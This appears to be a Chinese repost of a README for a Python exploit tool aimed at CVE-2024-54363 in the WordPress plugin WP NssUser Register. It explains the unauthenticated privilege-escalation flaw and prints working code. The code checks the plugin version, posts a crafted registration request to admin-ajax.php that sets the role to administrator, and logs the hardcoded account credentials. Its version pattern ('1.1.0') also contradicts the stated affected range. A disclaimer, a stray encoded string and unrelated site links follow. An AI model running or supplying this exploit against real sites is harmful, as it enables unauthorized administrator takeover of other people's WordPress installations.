WP NssUser Register 权限提升漏洞利用工具 (CVE-2024-54363)

WP NssUser Register 权限提升漏洞利用工具 (CVE-2024-54363)

这是一个针对 WordPress 插件 WP NssUser Register 的安全研究与漏洞验证工具。该插件在版本 1.0.0 及更早版本中存在不正确的权限分配漏洞(CVE-2024-54363),允许未经认证的攻击者通过向 /wp-admin/admin-ajax.php 端点发送特制请求,注册具有管理员权限的新用户。

功能特性

  • 无认证权限提升 :利用 nssTheme_registration_form Ajax 动作,直接创建具有 administrator 角色的用户
  • 完整的日志记录 :所有请求和响应信息同时输出到控制台和 exploit.log 文件,便于审计
  • SSL 警告抑制:自动禁用 SSL 证书验证,方便在测试环境中使用
  • 命令行参数支持 :通过 -u--url 参数灵活指定目标站点

安装指南

系统要求

  • Python 3.6 或更高版本
  • pip 包管理器

依赖项

本项目仅依赖 requests 库进行 HTTP 通信。

安装步骤

  1. 克隆或下载项目文件到本地:
bash 复制代码
git clone https://github.com/your-repo/CVE-2024-54363-Exploit.git
cd CVE-2024-54363-Exploit
  1. 安装所需的 Python 依赖包:
bash 复制代码
pip install -r requirements.txt

requirements.txt 文件内容:

shell 复制代码
requests>=2.25.0

使用说明

基本用法

bash 复制代码
python CVE-2024-54363.py -u http://target-wordpress-site.com

参数说明

参数 简写 说明 是否必需
--url -u WordPress 站点的基础 URL(例如:example.com)
--help -h 显示帮助信息

使用示例

示例 1:检测并利用存在漏洞的站点

bash 复制代码
python CVE-2024-54363.py -u https://vulnerable-wordpress.com

预期输出:

yaml 复制代码
2024-01-15 10:30:45,123 - INFO - The site https://vulnerable-wordpress.com is vulnerable. Exploitation in progress...
2024-01-15 10:30:46,456 - INFO - Exploitation successful!
2024-01-15 10:30:46,456 - INFO - Response: {"success":true}
2024-01-15 10:30:46,456 - INFO - Username: nxploit123, Password: nxploit

示例 2:检测不存在漏洞的站点

bash 复制代码
python CVE-2024-54363.py -u http://secure-wordpress.com

预期输出:

yaml 复制代码
2024-01-15 10:31:20,789 - INFO - The site http://secure-wordpress.com is not vulnerable.
2024-01-15 10:31:20,789 - INFO - Exploitation skipped: The site is not vulnerable.

利用细节

成功利用后,工具会创建一个包含以下凭据的管理员账户:

  • 用户名nxploit123
  • 邮箱admin2@nxploit.sa
  • 名字Nxploithacker
  • 姓氏User
  • 角色administrator
  • 密码nxploit

注意 :以上凭据为工具硬编码值,可根据需要修改源代码中的 payload 字典。

漏洞工作原理

  1. 插件注册了 wp_ajax_nopriv_nssTheme_registration_formwp_ajax_nssTheme_registration_form 两个 Ajax 钩子
  2. 未认证用户可以访问 nopriv 版本的处理函数
  3. 处理函数未对用户提交的 rgRole 参数进行有效的权限校验
  4. 攻击者可以指定 rgRoleadministrator,系统直接创建具有管理员权限的用户

核心代码

版本检测模块

python 复制代码
import re


VULNERABLE_VERSION_PATTERN = re.compile(r"1\.1\.0")

def check_version(session, base_url):
    """检测目标站点是否存在漏洞版本"""
    url_version = base_url.rstrip("/") + READ_ME_PATH
    try:
        response = session.get(url_version)
        response.raise_for_status()
        if VULNERABLE_VERSION_PATTERN.search(response.text):
            logging.info(f"The site {base_url} is vulnerable. Exploitation in progress...")
            return True
        else:
            logging.info(f"The site {base_url} is not vulnerable.")
            return False
    except requests.RequestException as e:
        logging.error(f"Error checking version for {base_url}: {e}")
        raise ExploitError("Failed to check version.")

漏洞利用核心模块

python 复制代码
EXPLOIT_PATH = "/wp-admin/admin-ajax.php"

def exploit_wordpress(session, base_url):
    """执行权限提升攻击,创建管理员账户"""
    url = base_url.rstrip("/") + EXPLOIT_PATH
    headers = {
        "Host": base_url.split("//")[-1].split("/")[0],
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": base_url
    }

    payload = {
        "action": "nssTheme_registration_form",
        "rgName": "nxploit123",
        "rgEmail": "admin2@nxploit.sa",
        "rgFname": "Nxploithacker",
        "rgLname": "User",
        "rgRole": "administrator",
        "rg_pass": "nxploit"
    }

    try:
        response = session.post(url, headers=headers, data=payload)
        response.raise_for_status()
        logging.info("Exploitation successful!")
        logging.info(f"Response: {response.text}")
        logging.info(f"Username: {payload['rgName']}, Password: {payload['rg_pass']}")
    except requests.RequestException as e:
        logging.error(f"Error during exploitation: {e}")
        raise ExploitError("Exploitation failed.")

日志配置模块

python 复制代码
import logging

def setup_logging():
    """配置双输出日志系统(文件 + 控制台)"""
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s',
        handlers=[
            logging.FileHandler("exploit.log"),
            logging.StreamHandler()
        ]
    )

主控制流程

python 复制代码
import argparse
import requests

def main():
    setup_logging()
    
    parser = argparse.ArgumentParser(description="Wp NssUser Register <= 1.0.0 - Unauthenticated Privilege Escalation")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress site")
    args = parser.parse_args()
    
    base_url = args.url
    session = requests.Session()
    session.verify = False  # 忽略 SSL 验证
    
    try:
        if check_version(session, base_url):
            exploit_wordpress(session, base_url)
        else:
            logging.info("Exploitation skipped: The site is not vulnerable.")
    except ExploitError as e:
        logging.error(e)

if __name__ == "__main__":
    main()

免责声明:本工具仅供安全研究和授权测试使用。未经授权的渗透测试或攻击行为违反法律法规。使用者须自行承担因不当使用造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/2JjbNpRKC5wx3yaGEkU/JuXTN9Sp8Rg33X5RmPHGMKY

相关推荐
启道张恒1 小时前
飞扬软件「建筑自动化·房间定义」重磅升级:重塑设计效率新标杆
大数据·人工智能·ai设计·bim正向设计·国产二三维设计软件·飞扬集成设计系统
自律懒人1 小时前
当AI智能体学会了操控浏览器:Chrome CDP + 自动化Agent实战
人工智能·chrome·自动化
Elastic 中国社区官方博客1 小时前
Elasticsearch:使用预计算上下文降低 agent 成本
大数据·人工智能·elasticsearch·搜索引擎·ai·全文检索
Lumos_yuan1 小时前
What is data ?
人工智能
码以致用1 小时前
OpenFoundry 开源数据操作系统:架构解析与实战指南
人工智能·ai·架构·开源
m0_715674431 小时前
技术创新突破·可管可控·对标行标 医疗API安全解决方案实践指南
大数据·人工智能·安全
SelectDB技术团队1 小时前
97% 召回率、900 QPS:Apache Doris 4.1 生产级向量检索的工程实践
数据库·人工智能·数据分析·apache doris·selectdb
skywalk81631 小时前
python run.py “请讨论一下中文编程语言的设计“ --max-rounds 4
开发语言·人工智能